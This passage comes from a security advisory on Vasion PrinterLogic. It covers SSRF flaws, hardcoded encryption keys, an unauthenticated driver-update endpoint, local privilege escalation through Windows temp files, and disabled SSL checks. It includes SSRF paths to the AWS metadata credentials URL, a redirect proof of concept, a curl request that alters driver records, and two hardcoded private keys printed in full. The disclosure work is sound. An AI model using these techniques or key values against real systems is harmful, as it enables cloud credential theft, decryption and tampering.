), to display the AWS security credentials;http://169.254.169.254/latest/meta-data/iam/security-credentials
, since the file_get_contents()
function will follow any HTTP redirect:Content of /var/www/app/console_release/lexmark/update.php
:
1 <?php [...] 209 $url = "http://" . $this_vo->str_host_address . "/cgi-bin/direct/printer/prtappse/semenu?page=bundles"; 215 $new_url = "http://" . $this_vo->str_host_address . "/esf/prtappse/semenu?page=bundles"; 223 $contents = file_get_contents($new_url); // [1] SSRF #1 228 $contents = file_get_contents($new_url); // [2] SSRF #2 234 $contents = file_get_contents($url); // [3] SSRF #3 239 $contents = file_get_contents($url); // [4] SSRF #4 247 return $contents; // [5] display of the output of the SSRF
This file is reachable without authentication and contains a blind SSRF vulnerability. The $printer_vo->str_host_address
is controlled by any admin:
Content of /var/www/app/console_release/hp/installApp.php
:
1 <?php [...] 25 function curl_get_contents($url) 26 { 27 $ch = curl_init(); 28 29 curl_setopt($ch, CURLOPT_HEADER, 0); 30 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 31 curl_setopt($ch, CURLOPT_URL, $url); 32 33 $data = curl_exec($ch); 34 curl_close($ch); 35 36 return $data; 37 } [...] 73 $filePath = "http://" . $printer_vo->str_host_address . ":80/DevMgmt/DiscoveryTree.xml"; 74 // @file_get_contents was not working on the new HP but this works on all of them. 75 $file = curl_get_contents($filePath); // [1] SSRF #1
2 SSRF vulnerabilities on lines 37 and 128 in /var/www/app/console_release/hp/log_off_single_sign_on.php
:
1 <?php [...] 27 $IP_ADDR = $printer_vo->str_host_address; 37 $file = @file_get_contents($h_tag . $IP_ADDR . ":80/DevMgmt/DiscoveryTree.xml"); // [1] SSRF #1 123 $sendUrl = $XRX_URL . $Authentication['ResourceURI']; 128 $response_reserve = processCurl($XRX_SCHEMA, $XRX_TO, $XRX_BODY, $sendUrl, false, "guest", ""); // [2] SSRF #2
The function file_get_contents()
will follow any HTTP redirect.
$sendURL
comes from $XRX_URL
(line 123) that comes from $IP_ADDR
(console_release/hp/hp_soap_helper.php
) coming from the hostname of the printer, which is an attacker-controlled value. With the processCurl()
function implemented in /var/www/app/console_release/hp/hp_soap_helper.php
, without any check regarding the validity of the remote URL (defined in $sendUrl
):
Content of /var/www/app/console_release/hp/log_off_single_sign_on.php
with processCurl()
:
1 <?php [...] 47 function processCurl($XRX_SCHEMA, $XRX_TO, $this_XRX_BODY, $sendUrl, $showXML, $XRX_USERNAME, $XRX_PASSWORD) 48 { 49 $XRX_SOAPSTART = '<s:Envelope 50 xmlns:s="http://www.w3.org/2003/05/soap-envelope" 51 xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"> 52 <s:Header> 53 <a:Action s:mustUnderstand="1">'; 54 $XRX_ADDRESS = 'http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous'; 55 $XRX_MESSAGE = "<a:MessageID>urn:uuid:" . $this->getGUID() . "</a:MessageID>"; 56 $XRX_SOAPEND = '</s:Envelope>'; 57 $XRX_REPLY_TO = "<a:ReplyTo><a:Address>" . $XRX_ADDRESS . "</a:Address></a:ReplyTo>"; 58 $XRX_BODY = $this_XRX_BODY . '</s:Body>'; 59 $sendReq = $XRX_SOAPSTART . $XRX_SCHEMA . "</a:Action>" . $XRX_MESSAGE . $XRX_REPLY_TO . $XRX_TO . '</s:Header>' . $XRX_BODY . $XRX_SOAPEND; 60 61 $headers = array( 62 "Content-Type: application/soap_xml; charset=utf-8", 63 "SOAPAction: \"\"", 64 ); 65 $ch = curl_init(); 66 curl_setopt($ch, CURLOPT_URL, $sendUrl); 67 curl_setopt($ch, CURLOPT_USERPWD, $XRX_USERNAME . ":" . $XRX_PASSWORD); 68 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); 69 curl_setopt($ch, CURLOPT_POST, true); 70 curl_setopt($ch, CURLOPT_POSTFIELDS, $sendReq); 71 curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); 72 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 73 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 74 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 75 curl_setopt($ch, CURLOPT_TIMEOUT, 30); 76 $response = ""; 77 try { 78 $response = curl_exec($ch); 79 $error = curl_error($ch); 80 if ($error != "") { 81 echo "\nerror = " . $error . "\n"; 82 Log::error('hp_soap_helper error: ' . $error); 83 } 84 curl_close($ch); 85 } catch (Exception $ex) { 86 echo "\nFail = " . $ex->getMessage(); 87 Log::error('hp_soap_helper exception: ' . $ex->getMessage()); 88 } 89 return $response; 90 }
The first SSRF is located on line 96. The $IP_ADDR
corresponds to the attacker-controlled hostname of the remote printer. For example, by defining 169.254.169.254/latest/meta-data/iam/security-credentials/?
, the resulting URL will be: http://169.254.169.254/latest/meta-data/iam/security-credentials/?/DevMgmt/DiscoveryTree.xml
corresponding to http://169.254.169.254/latest/meta-data/iam/security-credentials
used by AWS to display security credentials.
The second SSRF is located on line 219 using the insecure function processCurl()
with the answer being printed on line 224:
Content of /var/www/app/console_release/hp/badgeSetup.php
:
1 <?php [...] 96 $file = @file_get_contents( $h_tag . $IP_ADDR . "/DevMgmt/DiscoveryTree.xml", false, stream_context_create( $arrContextOperations )); // ## SSRF #1 97 $doc = new DOMDocument(); 98 99 if( $file != "" ) 100 { 101 $doc->loadXML( $file ); 102 $xpath = new DOMXPath( $doc ); 103 $nodes = $doc->getElementsByTagName('*'); 104 $features = array(); 105 [...] 219 $response = processCurl( $XRX_SCHEMA, $XRX_TO, $XRX_BODY, $sendUrl, false, $XRX_USERNAME, $XRX_PASSWORD ); // # SSRF #2 220 if( GLOBALS::$CONSOLE_RELEASE_TESTING == 1 ) 221 { 222 \Storage::disk('cache')->append("hp/badge_setup_1.txt", "\r\n\r\n" . $response ); 223 } 224 echo "\n\n" . $response;
A similar vulnerability is present in several files (e.g. console_release/hp/log_off_single_sign_on.php:37
, ./console_release/hp/install_popup_load.php:137
, ...).
Lines 20 and 24: the $printer_vo->str_host_address
variable is controlled by an attacker and is used without any filtering:
Content of /var/www/app/console_release/lexmark/dellCheck.php
:
1 <?php 2 require_once( "global.php" ); 3 require_once(ABSPATH."lib/dao/dbopen.php"); 4 require_once( ABSPATH . "lib/dao/printer_dao.php" ); 5 6 $printer_dao = new printer_dao(); 7 $printer_vo = new printer_vo(); 8 $printer_vo->id = requestint( 'printer_id', 0 ); 9 $printer_dao->load( $printer_vo ); 10 11 $url = "http://" . $printer_vo->str_host_address . "/cgi-bin/direct/printer/prtappse/semenu?page=bundles"; 12 $url_headers = @get_headers($url); 13 if(!$url_headers || strpos($url_headers[0], '200') === false) 14 { 15 $new_url = "http://" . $printer_vo->str_host_address . "/esf/prtappse/semenu?page=bundles"; 16 $new_url_headers = @get_headers($new_url); 17 if(!$new_url_headers || strpos($new_url_headers[0], '200') === false) 18 $contents = ""; 19 else 20 $contents = file_get_contents($new_url); // SSRF #1 21 } 22 else 23 { 24 $contents = file_get_contents($url); // SSRF #2 25 } 26 27 if(mb_stripos($contents, 'Bundle ID')){ 28 echo 'Lexmark'; 29 }
An attacker with admin privileges in a tenant instance can likely compromise the SaaS infrastructure by reaching AWS metadata services and retrieve credentials corresponding to the cloud infrastructure.
Only an incomplete analysis was done due to the quantity of code.
It is recommended not to use the SaaS version and to not host the VA version in the cloud.
It was observed that the console_release
directory contains PHP webpages with insecure code containing SSRF vulnerabilities.
The file_get_contents()
function is used to retrieve http/https content. Unfortunately, this function will follow any redirection and is completely insecure when the remote server is controlled by an attacker.
For example:
kali% cat /var/www/html/redirect.php
<?php
header("Location: http://www.google.com/");
?>
When this file is retrieved over HTTP, the result from the file_get_contents()
function will contain the content of the www.google.com webpage. The file_get_contents()
function followed transparently the redirection to www.google.com:
kali% cat 1.php
<?php
$url = "http://10.105.0.235/redirect.php";
$contents = file_get_contents($url);
print $contents;
kali% php 1.php | head -n 10 | less
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-PH"><head><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script nonce="Y_AX2yiBXdblaOhbrR-Fig">(function(){var _g={kEI:'2DWdZfa3BpqWvr0P2bSamA4
[CONTENT-OF-GOOGLE.COM-WEBSITE]
An attacker with admin privileges can specify a malicious printer hostname corresponding to an attacker-controlled webserver/website. The PHP code implemented in PrinterLogic running in the VA version and in AWS in the SaaS version will follow the 301 redirection to http://169.254.169.254/latest/meta-data/iam/security-credentials
used by AWS to display security credentials.
There are 272 calls to the file_get_contents()
function in the printerlogic/pi
Docker instance:
root@printerlogic:/home/debug# docker ps|grep printerlogic/pi
799ce8d8de5c printerlogic/pi:5.0.8085-p2 "/var/www/app/.docke" 2 minutes ago Up 2 minutes 80/tcp printercloud_worker-pi-reports.1.gdbu4ya992n9s33h6c3cf4qn0
root@printerlogic:/home/debug# docker exec -it 799ce8d8de5c bash
root@799ce8d8de5c:/var/www/app# rgrep file_get_content . | wc -l
272
Some of these calls are insecure as shown previously.
An attacker with admin privileges in a tenant instance can likely compromise the SaaS infrastructure by reaching metadata services and retrieve credentials corresponding to the cloud infrastructure.
Only an incomplete analysis was done due to the quantity of code.
It is recommended not to use the SaaS version and to not host the VA version in the cloud.
It was observed that 2 hardcoded private keys can be found in the VA solution. These hardcoded keys are used to securely encrypt/decrypt data in the:
Since these keys are hardcoded, the encryption mechanism is insecure because these private keys are known.
These keys can be found in several Docker instances:
Hardcoded keys inside the printercloud/pi Docker instance
printerlogic# docker exec -it 45901b1a9528 ls -la /var/www/app/config/ total 256 drwxrwxr-x 2 www-data www-data 4096 Oct 24 18:44 . drwxr-xr-x 1 root root 4096 Nov 7 22:25 .. -rw-rw-r-- 1 www-data www-data 215556 Oct 24 18:43 cacert.pem -rw-rw-r-- 1 www-data www-data 1122 Oct 24 18:43 driver-blacklist.yaml -rw-rw-r-- 1 www-data www-data 243 Oct 24 18:43 keyfile.ppk.dev -rw-rw-r-- 1 www-data www-data 128 Oct 24 18:43 keyfile.saasid.ppk.dev -rw-rw-r-- 1 www-data www-data 599 Oct 24 18:43 _ldapoverrides.php -rw-rw-r-- 1 www-data www-data 152 Oct 24 18:43 opcache-blacklist.txt -rw-rw-r-- 1 www-data www-data 1496 Oct 24 18:44 settings.php -rw-rw-r-- 1 www-data www-data 1496 Oct 24 18:43 settings.php.local -rw-rw-r-- 1 www-data www-data 1612 Oct 24 18:43 snmp_defaults.php printerlogic# docker exec -it 45901b1a9528 cat /var/www/app/config/keyfile.ppk.dev AAAAQQCYYU9zyn9V2Dem6kIA6SU9dZnqiZDM63WcP3ZDwnDY7nXwwlohdh6fE6jb SRJ+DS2NEO+/9Idz4OW81fbTFxM9AAAAIQD4M/r+iMrKSA30cU2HwS7nerDpd0Ma svm5b9NJVS1WuQAAACEAsDerrSCtAViPXFfHRcof1md1y68GjW94gXgGnkC7ntcA AAAgaDv/Z7gPchc/hFUB4nI5NZ/QBqbom4Y7TBrbkxRLSuo= printerlogic# docker exec -it 45901b1a9528 cat /var/www/app/config/keyfile.saasid.ppk.dev QypO2ShAW3V=pHtiBI8C1Lyj0/Unchb37JDqG8ZfvNX9vOMdL3QtXgr+XlvuVKN1Xq8TmBjahHLrLG+JbPlLqkEuuCsgFkt0fr3KG5u4j5=t2FZAlRyKhsLwmMDJUY3t
In the SaaS version, the /var/www/app/config/keyfile.saasid.ppk.dev
file will be used to encrypt/decrypt information.
The following getEncryptedExternalId()
and getDecryptedExternalId()
methods will use the keyfile.saasid.ppk
key by default.
Content of /var/www/app/app/Traits/SaasIdEncryption.php
inside the printercloud/pi
Docker instance:
[...] 3 namespace PrinterLogic\Traits; 4 5 use Log; 6 use Exception; 7 use Throwable; 8 9 /** 10 * Knows how to encrypt and decrypt the SaasId (ExternalId). We use the 11 * encrypted SaasId in some API calls to the Integrations Team. 12 */ 13 trait SaasIdEncryption 14 { 15 use EncryptionFunctions; 16 17 /** 18 * Gets a sales force id and encrypts it for passing to the PrinterCloud Support site from 19 * the My Account menu. 20 * 21 * @param string $external_id External SaasId that needs to be encrypted 22 * 23 * @return string 24 */ 25 public function getEncryptedExternalId($external_id = null) 26 { 27 if (is_null($external_id)) { 28 $external_id = $this->external_id; 29 } 30 31 try { 32 $key = $this->getKey(); 33 $iv = $this->createIv($key); 34 $encryptedId = base64_encode(openssl_encrypt($external_id, 'AES-256-CBC', $key, false, $iv)); 35 } catch (Throwable $e) { 36 Log::error($e->getMessage()); 37 return '-'; 38 } 39 40 Log::debug('Encrypted ID: `' . $encryptedId . '`'); 41 42 return $encryptedId; 43 } 44 45 /** 46 * Returns Decrypted Id 47 * 48 * @param string $encrypted_id External SaasId that needs to be decrypted 49 * 50 * @return string 51 */ 52 public function getDecryptedExternalId($encrypted_id = null) 53 { 54 if (is_null($encrypted_id)) { 55 $encrypted_id = $this->external_id; 56 } 57 58 try { 59 $key = $this->getKey(); 60 $iv = $this->createIv($key); 61 $encryptedId = openssl_decrypt($encrypted_id, 'AES-256-CBC', $key, false, $iv); 62 } catch (Throwable $e) { 63 Log::error($e->getMessage()); 64 return '-'; 65 } 66 67 Log::debug('Decrypted ID: `' . $encryptedId . '`'); 68 69 return $encryptedId; 70 } [...] 95 /** 96 * Returns a combined key from the supplied salt and given keyfile 97 * 98 * @param string $keyfile Path to the keyfile 99 * 100 * @throws Exception 101 * 102 * @return string 103 */ 104 public function getKey($keyfile = null) 105 { 106 $KEYFILE_MIN_LEN = 128; //1024-bits 107 108 /* Default */ 109 if (empty($keyfile)) { 110 /* 111 * The user didn't specify one, so we try to find our default. 112 * If we can't find that, fallback to the dev version. 113 */ 114 if (!defined('ABSPATH')) { 115 define('ABSPATH', base_path() . '/'); 116 } 117 118 $keyfile = ABSPATH . 'config/keyfile.saasid.ppk'; //Default if we don't have one defined 119 120 if (!file_exists($keyfile)) { 121 //fall back to a dev version 122 $keyfile = $keyfile . '.dev'; 123 } 124 }
The encryption mechanism is insecure. An attacker can decrypt sensitive information.
It was observed that the /var/www/app/lib/dao/driver_version_update.php
webpage is reachable without authentication. This webpage allows an attacker to:
The PHP code will update the information stored in the MySQL server when the driver package is edited (lines 92 to 110).
Content of /var/www/app/lib/dao/driver_version_update.php
:
[...] 12 header('Content-Transfer-Encoding: binary'); 13 header('Content-Type: application/octet-stream'); 14 15 $nologin=true; 16 require_once("global.php"); 17 require_once(ABSPATH."lib/dao/dbopen.php"); 18 19 $package_needs_updating="(package_type = 'NORMAL' 20 AND ( 21 ( 22 driver_version = '' 23 ) 24 OR ( 25 driver_version = '0.0.0.1' 26 ) 27 ) 28 AND ( 29 ( 30 driver_date = '' 31 ) 32 OR ( 33 driver_date = '01/02/1980' 34 ) 35 OR ( 36 driver_date = '01/01/1980' 37 ) 38 ))"; 39 40 $cmd=requeststr("command",""); 41 if($cmd=="getlist") { 42 $da=new data_access(); 43 if(!$da->qry("SELECT ppp_driver_packages.id,inf_file, model_name, package_size, ( 44 SELECT sum( if(os_arch=32,1,0) ) 45 FROM ppp_drivers_os_support 46 JOIN ppp_oses ON ( ppp_oses.id = ppp_drivers_os_support.os_id ) 47 WHERE driver_id = ppp_drivers.id 48 ) AS x32, ( 49 50 SELECT sum( if(os_arch=64,1,0) ) 51 FROM ppp_drivers_os_support 52 JOIN ppp_oses ON ( ppp_oses.id = ppp_drivers_os_support.os_id ) 53 WHERE driver_id = ppp_drivers.id 54 ) AS x64 55 FROM `ppp_driver_packages` 56 JOIN ppp_drivers ON ( driver_package_id = ppp_driver_packages.id ) 57 WHERE $package_needs_updating ")) { 58 echo "Unable to retrieve update list: ".$da->last_error; 59 return; 60 } 61 function q($s) { 62 return '"'.str_replace('"','""',$s).'"'; 63 } 64 $LE="\r\n"; 65 $rec=array(); 66 echo $da->result_count().$LE; 67 while($da->next_row($rec)) { 68 echo q($rec['id']).",".q($rec['inf_file']).",".q($rec['model_name']).",".q($rec['package_size']).",".q($rec['x32']).",".q($rec['x64']).$LE; 69 } 70 71 } else if($cmd=="getdriver") { 72 73 require_once(ABSPATH."lib/dao/driver_package_dao.php"); 74 $pdao=new driver_package_dao(); 75 $vo=new driver_package_vo(); 76 //we use this query here to avoid the need for the session variable and to add our where clause to make these routines generally do nothing and make no security hole 77 $vo->id=requestint("package",-1); 78 if(!$pdao->qry("select * from ppp_driver_packages left join ppp_driver_package_fragments on (ppp_driver_packages.id=ppp_driver_package_fragments.driver_package_id) where (id=$vo->id) and $package_need s_updating order by driver_package_id,fragment")) 79 { 80 echo $pdao->last_error; 81 return false; 82 } 83 if(!$pdao->next($vo)) { 84 echo $pdao->last_error; 85 return false; 86 } 87 header('Content-Length: '.$vo->int_package_size); 88 flush(); 89 ini_set('max_execution_time','2400'); 90 $pdao->echo_blob($vo); 91 return; 92 } else if($cmd=="setversion") { 93 $package_id=requestint("package",-1); 94 $dd=requeststr("driverdate","01/01/1980"); 95 $dv=requeststr("driverversion","0.0.0.1"); 96 $pp=requeststr("printprocessor",""); 97 $da=new data_access(); 98 $da->allow_write(); 99 $da->audit_handled(); 100 if(!$da->qry("update ppp_driver_packages set ". 101 "driver_date=".$da->qescape($dd).",". 102 "driver_version=".$da->qescape($dv).",". 103 "print_processor=".$da->qescape($pp)." where 104 (id=$package_id) and $package_needs_updating 105 ")) { 106 echo "Unable to set package data: ".$da->last_error; 107 return; 108 } 109 if($da->affected_rows()==0) { echo "The driver could not be found or has already been updated."; return; } 110 echo $da->affected_rows(); 111 112 } else { echo "Unknown Command"; } 113 114 ?>
Exemple of a request:
kali% curl -v 'http://10.105.0.60/lib/dao/driver_version_update.php?command=setversion&driverdate=01/01/2020&driverversion=1.1.1.1&package=3'
* Trying 10.105.0.60:80...
* Connected to 10.105.0.60 (10.105.0.60) port 80
> GET /lib/dao/driver_version_update.php?command=setversion&driverdate=01/01/2020&driverversion=1.1.1.1&package=3 HTTP/1.1
> Host: 10.105.0.60
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-store, no-cache, must-revalidate
< Cache-Control: post-check=0, pre-check=0
< Content-Security-Policy: frame-ancestors 'self'
< Content-Transfer-Encoding: binary
< Content-Type: application/octet-stream
< Date: Wed, 10 Jan 2024 12:00:38 GMT
< Last-Modified: Wed, 10 Jan 2024 12:00:38 GMT
< Pragma: no-cache
< Server: nginx
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< X-Xss-Protection: 1; mode=block
< Transfer-Encoding: chunked
<
* Connection #0 to host 10.105.0.60 left intact
The driver could not be found or has already been updated.
An attacker can change information about any driver package.
The version of the audited Windows PrinterLogic client is 21.1.0.658.
It was observed that the installation of drivers is done insecurely by storing temporary files as NT AUTHORITY\SYSTEM
inside the C:\Windows\Temp\data
directory.
C:\Windows\Temp\data
is a temporary directory that can be controlled by any user without admin privileges. Such directory cannot be trusted to store files that will be used by a program running as NT AUTHORITY\SYSTEM
. Because of the insecure permissions, an attacker can replace any file with malicious ones in this directory or create a junction point from C:\Windows\Temp\data
to anywhere in the file system.
Some files are created in the C:\Windows\Temp\data
directory, as NT AUTHORITY\SYSTEM
during the installation of drivers:
Windows Events
The package_8.dat file is blindly trusted while it can be replaced by a local attacker:
Windows Events
Windows Events
This file comes from an insecure rename of C:\Windows\Temp\data\package_8.dat.cpytmp
. The package_8.dat.cpytmp
file is downloaded as NT AUTHORITY\SYSTEM
from the SaaS instance while installing a new driver.
Windows Events
Since the directory C:\Windows\Temp\data
is controlled by any local user, an attacker can replace package_8.dat.cpytmp
and package_8.dat
with malicious files during the installation process.
These vulnerabilities are surprising because, after the creation of these files, the directory C:\Windows\PPP_TEMP
is securely used to install drivers.
An attacker can get Local Privilege Escalation.
It was observed that the installation of the Windows PrinterLogic client inside organizations may enable an insecure option that will disable any SSL verification.
The Windows Registry Hive option IgnoreCertificateFailures
can be set to 1
to ignore SSL verification. Since the access to HKLM\SOFTWARE\PrinterLogic\PrinterInstaller\Overrides
requires admin privileges, it is more likely that admins will follow the official PrinterLogic documentation to disable SSL warnings.
Registry Hive
From my experience, it appears that customers will follow the official PrinterLogic documentation at https://kb.printerlogic.com/s/article/Unable-to-upload-driver-Invalid-certificate and https://kb.printerlogic.com/s/article/Certificate-errors-in-client-log-but-no-certificate-errors-in-browser.
This documentation recommends either to:
https://kb.printerlogic.com/s/article/Unable-to-upload-driver-Invalid-certificate
An attacker can get Remote Code Execution against Windows machines by MITM-ing the HTTPS traffic and injecting malicious drivers.
A local attacker can get Local Privilege Escalation by creating a junction point and injecting a DLL in the HTTPS traffic of the Windows client. The resulting DLL will be created anywhere in the filesystem as NT AUTHORITY\SYSTEM.
The official PrinterLogic documentation recommends disabling security controls.
It is recommended to use secure defaults, as recommended by the NSA: https://www.cisa.gov/sites/default/files/2023-10/Shifting-the-Balance-of-Cybersecurity-Risk-Principles-and-Approaches-for-Secure-by-Design-Software.pdf.
2021:
2022:
2023:
2024:
2025:
These vulnerabilities were found by Pierre Barre aka Pierre Kim (@PierreKimSec).
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html
https://pierrekim.github.io/advisories/2025-vasion-printerlogic.txt
https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm
https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
The source code snippets in this security advisory are the intellectual property of Vasion and used to explain the root causes of the vulnerabilities.
published on 2025-04-08 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>